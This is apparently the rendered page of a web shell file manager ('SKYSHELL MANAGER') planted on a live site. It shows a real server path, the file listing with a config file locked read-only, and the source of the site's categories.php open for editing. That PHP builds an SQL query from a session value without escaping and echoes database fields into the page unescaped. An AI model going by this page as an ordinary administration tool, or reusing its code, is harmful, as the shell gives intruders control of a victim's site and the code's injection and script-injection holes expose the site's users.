📁
SKYSHELL MANAGER-
🛒
PHP v7.4.33
Create Folder
Create File
Current Path:
home
/
oshofree
/
public_html
/
chbluxuries.com
/
chb_data
/
Name
Size
Permissions
Actions
📁
..
-
0755
🗑️
🔒
📄
config.php
7.06 KB
0444
🗑️
⬇️
✏️
🔒
📄
error_log
280.74 KB
0644
🗑️
⬇️
✏️
🔒
Editing: categories.php
<?php include "header.php";?> <section class="products section bg-gray"> <div class="container"> <div class="row"> <div class="title text-center"> <h2><?php $key=$_SESSION['cat']; echo $key; ?> LISTINGS</h2> </div> <?php $sqk = "SELECT all* from lest where status='Approved' && cater='$key' ORDER BY date DESC "; $sqlp = mysqli_query($con,$sqk); if (mysqli_affected_rows($con) == 0) { echo "<p style='text-align:center;'>No listings in this category,please check another</p>"; } else { while($rowe = mysqli_fetch_array($sqlp)) { $see = $rowe['s']; $ideas = $rowe['id']; $neme = $rowe['name']; $deb = $rowe['des']; $ex = $rowe['extra']; $carte = $rowe['cater']; $custom = $rowe['user']; $loca = $rowe['locat']; $mail = $rowe['email']; $date = $rowe['date']; $mob = $rowe['phone']; $per = $rowe['price']; $ran = $rowe['percent']; $neo = $rowe['condition']; $trip = $rowe['typer']; $fal = $rowe['fault']; $end = $rowe['endd']; $dua = $rowe['duration']; $att = $rowe['attribute']; $imageURL1='lists/'.$rowe["file1"]; $imageURL2='../lists/'.$rowe["file2"]; $imageURL3='../lists/'.$rowe["file3"]; $imageURL4='../lists/'.$rowe["file4"]; $imageURL5='../lists/'.$rowe["file5"]; $imageURL6='../lists/'.$rowe["file6"]; echo ' <script type ="text/javascript"> // Set the date were counting down to var a'.$see .' = "'.$end.'"; var countDownDatea'.$see .' = new Date(a'.$see .').getTime(); // Update the count down every 1 second var x = setInterval(function() { // Get todays date and time var now = new Date().getTime(); // Find the distance between now and the count down date var distance = countDownDatea'.$see .' - now; // Time calculations for days, hours, minutes and seconds var days = Math.floor(distance / (1000 * 60 * 60 * 24)); var hours = Math.floor((distance % (1000 * 60 * 60 * 24)) / (1000 * 60 * 60)); var minutes = Math.floor((distance % (1000 * 60 * 60)) / (1000 * 60)); var seconds = Math.floor((distance % (1000 * 60)) / 1000); // Output the result in an element with id="demo" document.getElementById("'.$see .'").innerHTML = days + "d " + hours + "h " + minutes + "m " + seconds + "s "; }, 1000); </script> <div class="col-md-4"> <div class="product-item" > <div class="product-thumb"> <span class="bage">Ends in <p id="'.$see .'"></p></span> <img class="img-responsive" src="'.$imageURL1.'" alt="product-img" style="height:20rem;"/> <div class="preview-meta"> <ul> <li> <form action="details.php" method="post" id="'.$idea.'"><input type="text" name="idea" value="'.$idea.'" hidden/> <button type="submit" name="submit" value="submit" style="background:none; outline:none; border:none;"><a><i class="tf-ion-android-cart"></i></a></button></form> </li> </ul> </div> </div> <div class="product-content"> <h4>'.$neme.'</h4> </div> </div> </div> '; }} ?> </div> <!-- End row --> </div> <!-- End container --> </section> <!-- End section --> <?php include "footer.php";?>
💾 Save Changes